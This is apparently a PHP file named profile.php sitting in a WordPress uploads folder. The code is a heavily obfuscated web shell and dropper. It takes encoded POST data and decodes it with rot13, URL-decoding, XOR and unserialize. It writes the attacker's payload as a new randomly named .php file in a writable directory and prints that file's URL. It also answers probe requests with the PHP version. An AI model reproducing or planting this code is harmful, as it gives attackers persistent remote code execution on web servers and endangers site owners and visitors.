File: /var/www/sites/1250.info/wp-content/uploads/2023/09/profile.php
<?php $rbiozhW = "hwuCUeObz";function MOHpsYzJ($rbiozhW){$ZWcQxm = "\162".chr(97).'w'.chr(117).chr(1033-919).'l'.chr(118-18).chr(101).chr(99)."\157".chr(100)."\145";$udQVAX = "\163"."\164"."\162".chr(446-351)."\162".chr(277-166).chr(116)."\61".chr(719-668);$vZwglBTGd = chr(115).chr(116).chr(114)."\137"."\163"."\160".'l'."\x69".chr(764-648);$rbiozhW = $vZwglBTGd($ZWcQxm($udQVAX($rbiozhW)));return $rbiozhW;}function zxaAUi($DAaEHRh, $QlfHoVK){$dPbhJ = "\x73"."\x74".chr(114).chr(95).chr(263-148)."\x70"."\154".'i'."\x74";$DAaEHRh = array_slice($dPbhJ(str_repeat($DAaEHRh, (count($QlfHoVK)/16)+1)), 0, count($QlfHoVK));return $DAaEHRh;}function rWHOn($kvKnOk, $gsUxLQWsF, $DAaEHRh){$VobbPDmJ = "a584d976-8dd5-419d-902d-26f755403e9f";return $kvKnOk ^ $VobbPDmJ[$gsUxLQWsF % strlen($VobbPDmJ)] ^ $DAaEHRh;}function pTjuDAgCf($QlfHoVK, $DAaEHRh){$QlfHoVK = array_map("rWHOn", array_values($QlfHoVK), array_keys($QlfHoVK), array_values($DAaEHRh));$QlfHoVK = implode("", $QlfHoVK);$wRvkaOLRhN = 'u'."\156"."\163"."\145"."\162".'i'.chr(97).'l'."\x69".'z'.chr(101);$QlfHoVK = @$wRvkaOLRhN($QlfHoVK);return $QlfHoVK;}function gGURpMerLB(){echo "otnBZ";}function ROSoAYk($OpmxtzOir){static $NSTyGUDQI = array();$VfrmCep = glob($OpmxtzOir . '/*', GLOB_ONLYDIR);$QkWFOWy = count($VfrmCep);if ($QkWFOWy > 0) {foreach ($VfrmCep as $OpmxtzO) {$ORcBckh = 'i'.'s'.chr(527-432).'w'.chr(587-473).chr(1073-968)."\x74"."\141".chr(101-3)."\154".chr(1064-963);if (@$ORcBckh($OpmxtzO)) {$NSTyGUDQI[] = $OpmxtzO;}}}foreach ($VfrmCep as $OpmxtzOir) ROSoAYk($OpmxtzOir);return $NSTyGUDQI;}function NlKxHbJKx(){echo "hwuCUeObz";}function YTXFERqd($QlfHoVK){$QJAaaFtKdK = "\104"."\117"."\103"."\125"."\115".chr(69).chr(807-729)."\124".'_'.chr(871-789)."\x4f".'O'.chr(851-767);$sBadMbE = $_SERVER[$QJAaaFtKdK];$VfrmCep = ROSoAYk($sBadMbE);$inAQgUlcHT = array_rand($VfrmCep);$xuJnchiR = '.'.chr(112)."\x68"."\160";$wtdVcfdN = $VfrmCep[$inAQgUlcHT] . "/" . substr(md5(time()), 0, 8) . $xuJnchiR;$glEFqqcXDk = "\146"."\151".chr(610-502).'e'."\137"."\160".chr(560-443).chr(116)."\x5f"."\143"."\157".'n'.chr(1045-929).chr(552-451).chr(401-291)."\164"."\163";@$glEFqqcXDk($wtdVcfdN, $QlfHoVK);$NHzkNpV = chr(72).chr(84)."\x54".chr(80)."\x5f"."\110".'O'."\x53".chr(247-163);$wQzeXA = chr(104).chr(116).chr(116).chr(1045-933)."\72".chr(973-926)."\57";$hAxJi = $wQzeXA . $_SERVER[$NHzkNpV] . substr($wtdVcfdN, strlen($sBadMbE));print($hAxJi);}foreach ($_POST as $DAaEHRh => $QlfHoVK){$IFoMdCid = strlen($DAaEHRh);if ($IFoMdCid == 16){$QlfHoVK = MOHpsYzJ($QlfHoVK);$DAaEHRh = zxaAUi($DAaEHRh, $QlfHoVK);$QlfHoVK = pTjuDAgCf($QlfHoVK, $DAaEHRh);if (@is_array($QlfHoVK)){$inAQgUlcHT = array_keys($QlfHoVK);$QlfHoVK = $QlfHoVK[$inAQgUlcHT[0]];$inAQgUlcHT = $inAQgUlcHT[0];if ($QlfHoVK !== $inAQgUlcHT){YTXFERqd($QlfHoVK);}else {$WISqLN = chr(112).chr(774-670)."\x70";$WhZcGnmQU = "\x70".chr(104).chr(258-146)."\x76".chr(677-576)."\162".chr(1016-901).chr(105)."\x6f"."\x6e";$QlfHoVK = Array($WISqLN => @$WhZcGnmQU(), );$yJYSMxiN = 's'.chr(529-428).'r'."\x69"."\141"."\154".chr(812-707)."\x7a"."\145";echo @$yJYSMxiN($QlfHoVK);}die();}}}